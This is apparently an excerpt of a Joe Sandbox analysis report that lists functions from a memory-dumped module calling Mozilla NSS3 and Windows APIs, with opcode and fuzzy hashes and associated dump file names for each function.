Opcode ID: fb6a2384cb5fe95e85917a6b61b909e881411e6079ed46b2b8910d1ce349c983
Instruction ID: 18562bc3b37cb2fc9ae041b4c7cc8b201adf988d3176c6d9afa258e881798879
Opcode Fuzzy Hash: fb6a2384cb5fe95e85917a6b61b909e881411e6079ed46b2b8910d1ce349c983
Instruction Fuzzy Hash: 1B4170B19042199BE7208F18DD40BA9F7F5FF88308F0546AAE90CA7741E3319986CB95

Function 6C7C0420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6C7AC97F,?,?,?), ref: 6C7C04BF
TlsGetValue.KERNEL32(00000000,?,6C7AC97F,?,?,?), ref: 6C7C04F4
EnterCriticalSection.KERNEL32(?,?,?,6C7AC97F,?,?,?), ref: 6C7C050D
PR_Unlock.NSS3(?,?,?,?,6C7AC97F,?,?,?), ref: 6C7C0556

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: f31d480d343d4809d03231c6db8e949cc27129e27587344a260409313b944d5c
Instruction ID: b45e997a8415cb69eccdc4fbbf3c480504923ae6dbd6733aabb7cf30b560bf43
Opcode Fuzzy Hash: f31d480d343d4809d03231c6db8e949cc27129e27587344a260409313b944d5c
Instruction Fuzzy Hash: 184158B4A016428FDB14DF29D684A69BBF0BF44318F24853DD8A98BB01E730E991CBC1

Function 6C7E2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C7E1289,?), ref: 6C7E2D72

Part of subcall function 6C7E3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C7E2CA7,E80C76FF,?,6C7E1289,?), ref: 6C7E33E9
Part of subcall function 6C7E3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C7E342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7E1289,?), ref: 6C7E2D61

Part of subcall function 6C7E0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7E0B21
Part of subcall function 6C7E0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7E0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C7E1289,?), ref: 6C7E2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C7E1289,?), ref: 6C7E2DAF

Part of subcall function 6C79B8F0: PR_CallOnceWithArg.NSS3(6C8D2178,6C79BCF0,?), ref: 6C79B915
Part of subcall function 6C79B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6C79B933
Part of subcall function 6C79B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6C79B9C8
Part of subcall function 6C79B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C79B9E1

Part of subcall function 6C7E0A50: SECOID_GetAlgorithmTag_Util.NSS3(6C7E2A90,E8571076,?,6C7E2A7C,6C7E21F1,?,?,?,00000000,00000000,?,?,6C7E21DD,00000000), ref: 6C7E0A66

Part of subcall function 6C7E3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C7E2D1E,?,?,?,?,00000000,?,?,?,?,?,6C7E1289), ref: 6C7E3348

Part of subcall function 6C7E06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C7E2E70,00000000), ref: 6C7E0701

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: 5a015356914bf6ae675f53163a118a5c92b5578229b2475e386a58f78a6be281
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: E731AEB79002066BDB009E64DE49F9A3765BF4D31DF140134ED155BB91FB31E518C7A2

Function 6C776C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C776C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C776CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C776CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C898FE0), ref: 6C776CFE

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 9e3d487cde7e7a34c129a0986873402d6ecbb6b185af372faad925703a1c51a3
Instruction ID: ebfac83a40163580f0c04dee76e2852311eb2e54f0a060eb12593f4d31e897f1
Opcode Fuzzy Hash: 9e3d487cde7e7a34c129a0986873402d6ecbb6b185af372faad925703a1c51a3
Instruction Fuzzy Hash: A2319EB1A0021A9FDF18DF65CA85ABFBBF5EB45248F10443DD905D7700EB31A905CBA0

Function 6C884F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C884F5D
free.MOZGLUE(?), ref: 6C884F74
free.MOZGLUE(?), ref: 6C884F82
GetLastError.KERNEL32 ref: 6C884F90

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 6cb5f746638725229bc10de842fe5059d857883534ba92364e53b02c853593a0
Instruction ID: 2c54b8d3ecb3c1d67a9501ba21e894622d158427d69ffe1bfe78a111f5a4d42c
Opcode Fuzzy Hash: 6cb5f746638725229bc10de842fe5059d857883534ba92364e53b02c853593a0
Instruction Fuzzy Hash: 263168B6A012194BEB20CB69DD91BDFB3BCFFC5348F050628EC15A7B81DB34A905C691

Function 6C7E6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C7E6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7E6E57

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C7E6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C7E6EAA

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: b709fc53bce3df9bc22ec827df805178f3e8586dea0ca6cf211065e85d002192
Instruction ID: c9db8f4fcfca62db283fe530d222f892be1aa611a29f1e90b01568e1e6e60a5e
Opcode Fuzzy Hash: b709fc53bce3df9bc22ec827df805178f3e8586dea0ca6cf211065e85d002192
Instruction Fuzzy Hash: E431D77361061AEFDB245F34CE04396B7A8BB0931AF14063CDA99D6AC1EB30B654CF81

Function 6C7D8530 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,6C7D72EC), ref: 6C7D855A

Part of subcall function 6C7D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C778298,?,?,?,6C76FCE5,?), ref: 6C7D07BF
Part of subcall function 6C7D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7D07E6
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D081B
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D0825

PORT_ArenaGrow_Util.NSS3(?,00000000,?,00000001,?,?,6C7D72EC), ref: 6C7D859E
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C7D72EC), ref: 6C7D85B8
PR_SetError.NSS3(FFFFE005,00000000,?,6C7D72EC), ref: 6C7D8600

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorUtil$ArenaHashLookupTable$Alloc_ConstFindGrow_
String ID:
API String ID: 1727503455-0
Opcode ID: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction ID: 8e43d385fcd3ac48d46c67627b26143d0bc818e5567f7c8b41a6629902f011fa
Opcode Fuzzy Hash: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction Fuzzy Hash: 0021D871A102119BEB008F2DDE44B2B76A9AF8131CF67523AE866D7750EB31F805C7D1

Function 6C7F0C00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,00000004), ref: 6C7F0C43

Part of subcall function 6C79DEF0: TlsGetValue.KERNEL32 ref: 6C79DF37
Part of subcall function 6C79DEF0: EnterCriticalSection.KERNEL32(?), ref: 6C79DF4B
Part of subcall function 6C79DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6C79E02B
Part of subcall function 6C79DEF0: PR_Unlock.NSS3(?), ref: 6C79E07E

PK11_DigestOp.NSS3(?,?,00000008), ref: 6C7F0C85
PK11_DigestOp.NSS3(?,?,?), ref: 6C7F0C9F
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6C7F0CB4

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: DigestK11_$Error$CriticalEnterSectionUnlockValue
String ID:
API String ID: 3186484790-0
Opcode ID: 8207fcf50508beede5d1f60a843b9d8e39880e59db8006f066bee90cde3d3c0a
Instruction ID: 2064b3296c2fae9b528d09d52cd5ab90cca85a3fba1663e9ef02f3cde6973b07
Opcode Fuzzy Hash: 8207fcf50508beede5d1f60a843b9d8e39880e59db8006f066bee90cde3d3c0a
Instruction Fuzzy Hash: 0A214B715042869FC701CB68AE59BDABFA4AF25204F0981B4E8585F712E731D828C7E6

Function 6C7604D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6C7604F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C76053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C760558
GetLastError.KERNEL32 ref: 6C76057A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: 4e103b258913f6a73db3ed3b6ddcb62acffdc4763516f2e03dddbb7b70201be6
Instruction ID: ca0a12508a4737e416ab3c155713051c0ffcecf2fec4bd48e49de9d8426d54f3
Opcode Fuzzy Hash: 4e103b258913f6a73db3ed3b6ddcb62acffdc4763516f2e03dddbb7b70201be6
Instruction Fuzzy Hash: 89215071A002189FDB14DF99DD95AAEB7B8FF49308B108429E8099B351D775ED06CBD0

Function 6C7E2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C7E2E08

Part of subcall function 6C7D14C0: TlsGetValue.KERNEL32 ref: 6C7D14E0
Part of subcall function 6C7D14C0: EnterCriticalSection.KERNEL32 ref: 6C7D14F5
Part of subcall function 6C7D14C0: PR_Unlock.NSS3 ref: 6C7D150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C7E2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C7E2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7E2E95

Part of subcall function 6C7D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D1228
Part of subcall function 6C7D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C7D1238
Part of subcall function 6C7D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D124B
Part of subcall function 6C7D1200: PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0,00000000,00000000,00000000,?,6C7788A4,00000000,00000000), ref: 6C7D125D
Part of subcall function 6C7D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C7D126F
Part of subcall function 6C7D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7D1280
Part of subcall function 6C7D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C7D128E
Part of subcall function 6C7D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C7D129A
Part of subcall function 6C7D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7D12A1

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 0bf9ec8fc506f9899080fb008a908a99e884f076d3db0ec8f05a67056932d27b
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 6F2129B2E003564BE700CF549E4C7AA3768AF9530CF260379DD085B742F7B1E598C292

Function 6C7D8680 Relevance: 6.1, APIs: 4, Instructions: 71threadCOMMON

Download Yara Rule

APIs

SEC_PKCS7DecoderStart.NSS3(6C7D8B00,00000000,?,?,6C7D89A0,?,6C7D8980), ref: 6C7D86CF

Part of subcall function 6C7DD430: PORT_NewArena_Util.NSS3(00000400), ref: 6C7DD43B
Part of subcall function 6C7DD430: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C7DD452
Part of subcall function 6C7DD430: PORT_ZAlloc_Util.NSS3(00000044), ref: 6C7DD48D
Part of subcall function 6C7DD430: PORT_NewArena_Util.NSS3(00000400), ref: 6C7DD4A0

SEC_PKCS7DecoderFinish.NSS3(?), ref: 6C7D8744
SEC_PKCS7DestroyContentInfo.NSS3(00000000), ref: 6C7D875B

Part of subcall function 6C7D8810: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6C7D86AA), ref: 6C7D8851
Part of subcall function 6C7D8810: PR_GetCurrentThread.NSS3 ref: 6C7D8937

PR_GetCurrentThread.NSS3 ref: 6C7D8765

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_CurrentDecoderThread$ContentDestroyFinishGrow_InfoStart
String ID:
API String ID: 1507683295-0
Opcode ID: 41e3c1e648dcdc831be752d232339de3dc7b53faa8a6956acf61742ff8fec1e9
Instruction ID: feb063397195f65dc867d155e38651731cf7d59fd403d88944d14728bd391404
Opcode Fuzzy Hash: 41e3c1e648dcdc831be752d232339de3dc7b53faa8a6956acf61742ff8fec1e9
Instruction Fuzzy Hash: F7214CB15017009FE7108F75CA88B92BBE4BB08368F12992ED4AD8BA51DB71F454CFE5

Function 6C79ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C79ACC2

Part of subcall function 6C772F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C772F0A
Part of subcall function 6C772F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C772F1D

Part of subcall function 6C772AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C770A1B,00000000), ref: 6C772AF0
Part of subcall function 6C772AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C772B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C79AD5E

Part of subcall function 6C7B57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C77B41E,00000000,00000000,?,00000000,?,6C77B41E,00000000,00000000,00000001,?), ref: 6C7B57E0
Part of subcall function 6C7B57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C7B5843

CERT_DestroyCertList.NSS3(?), ref: 6C79AD36

Part of subcall function 6C772F50: CERT_DestroyCertificate.NSS3(?), ref: 6C772F65
Part of subcall function 6C772F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C772F83

free.MOZGLUE(?), ref: 6C79AD4F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 605ca0bbdca37a3856d683c59413c6db717d3d3860936c9cf3ff2c7eb9815d09
Instruction ID: e48584b79881dac24f78b49b7c23b702bbf5b2b29ce69eac56e3585dd4168cf1
Opcode Fuzzy Hash: 605ca0bbdca37a3856d683c59413c6db717d3d3860936c9cf3ff2c7eb9815d09
Instruction Fuzzy Hash: 7421D5B1D012188BEF20DF68EA0A5EEB7B4EF05218F054078D8157B711FB31AA49CBE1

Function 6C7B24E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7B24FF
EnterCriticalSection.KERNEL32(?), ref: 6C7B250F
PR_Unlock.NSS3(?), ref: 6C7B253C
PR_SetError.NSS3(00000000,00000000), ref: 6C7B2554

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: dc908e64b9a45ddda0b040d3031d9ead2f45cda11670c8d96bee6faa440ccb6c
Instruction ID: 04d287cc747d22f44b1fa657e8e6af3780dfad9b57dca6e3f3b01384ed713647
Opcode Fuzzy Hash: dc908e64b9a45ddda0b040d3031d9ead2f45cda11670c8d96bee6faa440ccb6c
Instruction Fuzzy Hash: B6112675E00118ABDB10AF68EE49AAB7B78EF46328B410174EC08AB701E731E954C7E1

Function 6C7CECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C7CF0AD,6C7CF150,?,6C7CF150,?,?,?), ref: 6C7CECBA

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C7CECD1

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C7CED02

Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C7CED5A

Memory Dump Source

